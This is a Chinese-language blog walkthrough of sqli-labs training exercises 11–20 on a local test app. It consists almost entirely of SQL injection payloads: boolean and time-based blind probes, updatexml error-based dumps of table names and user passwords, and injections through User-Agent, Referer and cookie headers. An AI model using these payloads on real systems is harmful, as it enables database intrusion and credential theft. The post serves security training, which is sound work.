SQL练习 Less11-20

127.0.0.1/sqli/

（注意：有些后面直接附上了答案）

Less 11

1'or 1=1#

求数据库长度（布尔型盲注）

1' or length(database())=8#

求数据库名（xpath）

1'and updatexml(1,concat(0x23,database()),1)#

求表数

1' or (select count(table_name) from information_schema.tables where table_schema='security')=4#

求表名

1'and updatexml(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#

求列名

1'and updatexml(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)#

求字段名

1'and updatexml(1,concat(0x23,(select group_concat(username,0x23,password)from security.users)),1)#

Less 12

xpath做法

1")or 1=1#

1")and updatexml(1,concat(0x23,database()),1)#

1")and updatexml(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#

1")and updatexml(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)#

1")and updatexml(1,concat(0x23,(select group_concat(username,0x23,password)from security.users)),1)#

Less 13

xpath做法

1')or 1=1#

1')and updatexml(1,concat(0x23,database()),1)#

1')and updatexml(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#

1')and updatexml(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)#

1')and updatexml(1,concat(0x23,(select group_concat(username,0x23,password)from security.users)),1)#

Less 14

xpath做法

1"or 1=1#

1"and updatexml(1,concat(0x23,database()),1)#

1"and updatexml(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#

1"and updatexml(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)#

1"and updatexml(1,concat(0x23,(select group_concat(username,0x23,password)from security.users)),1)#

Less 15

时间型盲注

1'or 1=1#

1' or length(database())=8#

1' or if(ascii(substr(database(),1,1))=115,sleep(5),1)#

1' or if(ascii(substr(database(),2,1))=101,sleep(5),1)#

1' or if(ascii(substr(database(),3,1))=99,sleep(5),1)#

1' or if(ascii(substr(database(),4,1))=117,sleep(5),1)#

1' or if(ascii(substr(database(),5,1))=114,sleep(5),1)#

1' or if(ascii(substr(database(),6,1))=105,sleep(5),1)#

1' or if(ascii(substr(database(),7,1))=116,sleep(5),1)#

1' or if(ascii(substr(database(),8,1))=121,sleep(5),1)#

1' or if((select count(table_name) from information_schema.tables where table_schema='security')=4,sleep(5),1)#

Less 16

1")or 1=1#

求数据库长度（时间型盲注）

1")or if(length(database()),sleep(5),1)=8#

求表数

1")or if((select count(table_name) from information_schema.tables where table_schema='security')=4,sleep(5),1)#

Less 17

user name:admin(这里必须输入正确的用户名，否则试不出来）

password:' or 1=1#

求数据库名

1'or updatexml(1,concat(0x23,database()),1)#

求表名

1'or updatexml(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#   emails,less42,referers,uagents

求列名

1'or updatexml(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)#

求字段内容

1'or updatexml(1,concat(0x23,(select group_concat(username,0x23,password)from security.users)),1)#

Less 18

先找出 账号和密码 

之后用火狐登录后 用burp拦截 之后

爆库名

uagent后面添加：1' or updatexml(1,concat(0x7e,(database())),0) or '

uagent变为：Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.01' or updatexml(1,concat(0x7e,(database())),0) or '

爆表名

   1' or updatexml(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security')),0) or '

爆列名

    1' or updatexml(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users')),0) or '

报段名

  1' or updatexml(1,concat(0x23,(select group_concat(username,0x23,password)from security.users)),0) or '

Less 19

先找出 账号和密码 

之后用火狐登录后 用burp拦截 之后

爆库名

referer后面添加：1' or updatexml(1,concat(0x7e,(database())),0) or '

爆表名

   1' or updatexml(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security')),0) or '

爆列名

    1' or updatexml(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users')),0) or '

报段名

  1' or updatexml(1,concat(0x23,(select group_concat(username,0x23,password)from security.users)),0) or '

Less 20

先找出 账号和密码 

之后用火狐登录后 用burp拦截 之后

求列数

za在admin之后填'order by 3%23

邮件刷新之后burp重新拦截

爆库名

1' or updatexml(1,concat(0x7e,(database())),0) or '

爆表名

1' or updatexml(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security')),0) or '

爆列名

1' or updatexml(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users')),0) or '

报段名

1' or updatexml(1,concat(0x23,(select group_concat(username,0x23,password)from security.users)),0) or '

 

Less1-10链接https://blog.csdn.net/S123KO/article/details/100048575

之后还会发布其他题目